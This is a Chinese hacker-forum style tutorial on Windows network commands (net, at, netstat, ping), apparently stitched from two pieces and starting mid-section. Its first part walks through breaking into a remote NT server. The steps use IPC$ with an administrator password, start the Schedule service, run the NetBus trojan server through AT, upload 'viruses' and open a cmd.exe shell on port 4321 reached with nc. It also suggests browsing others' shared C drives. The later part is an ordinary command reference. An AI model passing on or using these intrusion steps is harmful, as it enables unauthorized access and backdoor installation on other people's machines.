nslookup-ipconfig基础网络命令.txt

关于网络安全的一些资料 防火墙 暴力破解知识等

／PERSISTENT 控制对永久网络连接的使用。其缺省值是最近使用的设置。 
YES 在连接产生时保存它们，并在下次登录时恢复它们。 
NO 不保存正在产生的连接或后续的连接；现有的连接将在下次登录时被 
恢复。可以使用 ／DELETE 选项开关来删除永久连接。 

PS：前两天在绿色兵团的贴子里见到一位仁兄的话，与这个命令有异曲共工之妙，也说明一个大概： 
在浏览器中输入 file：／／／***.***.**.***c￥ 

则网上共享的C盘内容就会显示出来了，就仿佛用浏览器上FTP站点看到的一样。各位不妨试试，还可试试举一反三…… 

5.at： 排定在特定的日期和时间运行某些命令和程序。 

运行 AT 命令之前必须先启动 Schedule 服务。瞧，现炒就得现卖，刚学了net命令，但这个start命令我可没详述，自已看看帮助文件，摸索一下各种命令的用法吧。 

C：》net start schedule 
Schedule 正在启动服务..... 
Schedulw 服务启动成功。 

AT ［computername］ ［ ［id］ ［／DELETE］ ／DELETE ［／YES］］ 
AT ［computername］ time ［／INTERACTIVE］ 
［ ／EVERY：date［，...］ ／NEXT：date［，...］］ "command" 

computername 指定远程计算机。 如果省略这个参数 
命令会被排定在本机上运行。 
id 指定给排定进度命令的识别号。 

／delete 删除某个已排定进度的命令。如果省略标识，计算机上所有已排定进度的 
命令都会被删除。 
／yes 用于删除所有作业，且不想在运行删除时显示确认 
信息 。 
time 指定命令运行的时间。 
／interactive 允许作业在运行时，与用户通过桌面交互。 

／every：date［，...］ 指定在每周或每月的某日 （或某几日） 运行命令。 
如果省略日期，则默认为在每月的本日运行。 

／next：date［，...］ 指定在下一个指定日期 （如，下周三），运行命令。 
如果省略日期，则默认为在每月的本日运行。 

"command" 准备运行的 Windows NT 命令或批处理文件。 

知道了如何使用AT，再来看看如何在远程NT上运行ntsrv.exe： 
1 利用管理员登陆到目的服务器，方法为： net use x.x.x.xipc￥ "adminpwd" ／user："adminuser"（这里具体方法可参见KILLUSA的文章《HOW TO GET IN NT》） 
2 利用ntsrv.exe启动远程： netsvc x.x.x.x schedule ／start 
3 利用AT.EXE在远程服务器设置程序定时运行，当然最快运行最理想，所以，你可以用letmein.exe得到服务器的时间，然后： 
at x.x.x.x 00：00 ntsrv.exe ／port：64321 
其中00：00要改为用letmein.exe得回来的具体时间+一点容量，等一会后，再在本地启动netbus.exe，键入目的服务器得ip地址或hostname，连接！比如第一种方法，你想要在目的服务器运行诸如病毒之类的东东，可以利用netbus得上传功能，将各种“大补丸”上传至目的服务器，再用netbus的"Start program"，键入完整路径，就ok了！第二种方法是利用netbus的“App redirect”功能，启动远程telnet服务，如下：在netbus中击“App redirect”，键入"C：》winntsystem32cmd.exe"，Port为：4321，服务就启动了，然后在本地运行：nc x.x.x.x 4321，出现dos启动的画面就表示连接成功： 
Microsoft（R） Windows NT（TM） 
（C） Copyright 1985-1996 Microsoft Corp. 
C：》 
注：这里有一小段是抄KILLUSA的文章――别找我要稿费啊^&^ 

6.netstat 这是一个观察网络连接状态的实用工具。 

它能检验IP的当前连接状态，在断定你的基本级通信正在进行后，就要验证系统上的服务。这个服务包括检查正在收听输入的通信量和／或验证你正在创建一个与远程站点的会话，它可以很轻松地做到这一点。网上也可以看到很多如X-netstat之类的工具，是WIN界面的，更加直观而已，并没有多什么功能，这个命令的具体用法如下： 

Displays protocol statistics and current TCP／IP network connections.（显示协议与当前网络连接） 

NETSTAT ［-a］ ［-e］ ［-n］ ［-s］ ［-p proto］ ［-r］ ［interval］ 

-a Displays all connections and listening ports.（显示所有连接和监听端口） 
-e Displays Ethernet statistics. This may be combined with the -s 
option.（显示以太连接，可以与-s连用） 
-n Displays addresses and port numbers in numeri 
  
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 

Ⅰ Ping 
C:\> Ping 61.136.253.204 [向61.136.253.204发送数据包] 
Pinging 61.136.253.204 With 32 bytes of data: [正在发送 32 字节的包到 ：61.136.253.204] 

Request timed out. [丢包 原因：超时] 
Reply from 61.136.253.204: bytes=32 time=62ms TTL=120 [正确抵达|大小32字节|消耗时间 62ms ] 
Reply from 61.136.253.204: bytes=32 time=69ms TTL=120 
Reply from 61.136.253.204: bytes=32 time=59ms TTL=120 

Ping statistics for 61.136.253.204 [资料统计] 
Packets: Sent = 4, Received = 3, Lost = 1 <25% loss>, [发送了4个数据包，收到了3个，丢失1个占25% ] 
Approximate round trip times in milli-seconds: 
Minimum = 59ms, Maximum = 69ms, Average = 63ms [最快抵达 59ms 最慢 69 ms 平均时间 63ms] 

现在我们来加入命令参数： 
C:\> Ping -a 61.136.253.204 -l 1 -t [-a 代表同时获取主机名 -l 1 指定 包大小为 1bytes -t 直到用户手动终止] 
Pinging XINGXING [61.136.253.204] With 1 bytes of data: 

Reply from 61.136.253.204: bytes=1 time=49ms TTL=120 [因为只发送1字节的包，所以时间缩短了] 
Reply from 61.136.253.204: bytes=1 time=59ms TTL=120 
Reply from 61.136.253.204: bytes=1 time=54ms TTL=120 
Reply from 61.136.253.204: bytes=1 time=55ms TTL=120 
Reply from 61.136.253.204: bytes=1 time=50ms TTL=120 
Reply from 61.136.253.204: bytes=1 time=49ms TTL=120 
Reply from 61.136.253.204: bytes=1 time=49ms TTL=120 

Ping statistics for 61.136.253.204 
Packets: Sent = 7, Received = 7, Lost = 0 <0% loss>, [发送了7个数据包，收到了7个，丢失0个占0% ] 
Approximate round trip times in milli-seconds: 
Minimum = 49ms, Maximum = 59ms, Average = 52ms [最快抵达 59ms 最慢 69 ms 平均时间 63ms] 
Control-C [按 Ctrl + C 强行终止] 
^C 
C:\> 


―――――――――――――――――――――――――――――――――――――――――― 
―――――――――――――――――――――――――――――――――――――――――― 
―――――――――――――――――――――――――――――――――――――――――― 


Ⅱ Netstat [这是一个观察网络连接状态的实用工具] 
C:\> Netstat -a [显示协议与当前网络连接] 

Active Connections [活动的连接] 

[端口类型] [本地的] [外部连接] [状态] 
Proto Local Address Foreign Address State 
TCP freefwq:telnet freefwq:0 LISTENING [端口类型 TCP 端口 Telnet 监听状态] 
TCP freefwq:epmap freefwq:0 LISTENING 
TCP freefwq:microsoft-ds freefwq:0 LISTENING 
TCP freefwq:1026 freefwq:0 LISTENING [端口类型 TCP 端口 1027 **** ] 
TCP freefwq:1027 freefwq:0 LISTENING 
TCP freefwq:5277 freefwq:0 LISTENING 
UDP freefwq:microsoft-ds *:* 
UDP freefwq:3001 *:* 
UDP freefwq:3005 *:* [端口类型 UDP 端口 3005] 
UDP freefwq:4000 *:* 
UDP freefwq:5419 *:* 
. 
. 
. 
C:\> Netstat -n -a [扩展命令参数] 

Active Connections [活动的连接] 

TCP 192.168.0.1:139 0.0.0.0:0 LISTENING 
TCP 192.168.0.1:3002 0.0.0.0:0 LISTENING 
TCP 192.168.0.1:3003 0.0.0.0:0 LISTENING 
TCP 192.168.0.1:3004 0.0.0.0:0 LISTENING 
TCP 211.91.155.117:139 0.0.0.0:0 LISTENING 
TCP 211.91.155.117:8384 61.186.175.113:2887 ESTABLISHED [现在就可以很清楚的看见IP地址和端口名了] 
UDP 0.0.0.0:135 *:* 
UDP 0.0.0.0:445 *:* 
UDP 0.0.0.0:3001 *:* 
UDP 0.0.0.0:3005 *:* 
UDP 0.0.0.0:4000 *:* 
. 
. 
. 
C:\> Netstat -e -a [扩展命令参数] 

Interface Statistics [通信数据统计] 

Received [收到的] Sent [发送的] 

Bytes [字节] 91930821 97757485 
Unicast packets [Unicast型] 413966 415520 
Non-unicast packets 4004 1095 
Discards 0 0 
Errors [错误的] 0 0 
Unknown protocols [未知协议] 1564 


――――――――――――――――――――――――――――――――――――――――――― 
――――――――――――――――――――――――――――――――――――――――――― 
――――――――――――――――――――――――――――――――――――――――――― 

Ⅲ AT [排定在特定的日期和时间运行某些命令和程序] 

C:\> AT 
列表是空的。 [因为我们现在没有给任何指定] 

C:\> AT 22:30 Start C:\如果这都不算爱.mp3 
新加了一项作业，其作业 ID = 1 [现在我们新建立了一个任务 在22:30分 系统将自动播放歌曲] 

C:\> AT 
状态 ID 日期 时间 命令行 [我们输入 AT 就可以看见先前的任务已经指定了] 
------------------------------------------------- 
1 今天 下午 22:00 Start C:\如果这都不算爱.mp3 

C:\> AT 1 /Delete [删除1号任务] 


Ⅳ Net 

1. Net user [查看用户列表，或者添加用户] 

C:\> Net user 
[下面将会显示本机上的用户] 

C:\> Net user FengXiaoTian /add 
[将在系统中添加一个新用户 名字叫 FengXiaoTian 

C:\> Net user administrator 
[查看管理员的登陆情况 很有用的哦！万一管理员现在在线 。。。。] 

C:\> Net user FengXiaoTian /delete 
[删除用户] 

2. Net View [用于显示一个计算机上共享资源的列表。当不带选项使用本命令时，它就会显示当前域或网络上的计算机上的列表。] 

C:\> Net View [显示网络计算机列表] 

服务器名称 注释 

----------------------------- 
\\FOX 
\\GAOWEI 
\\LHL 
\\WANGWEI 
\\ZWJ 

C:\> Net View \\FOX [显示FOX鸡的共享内容] 

共享名 类型 使用为 注释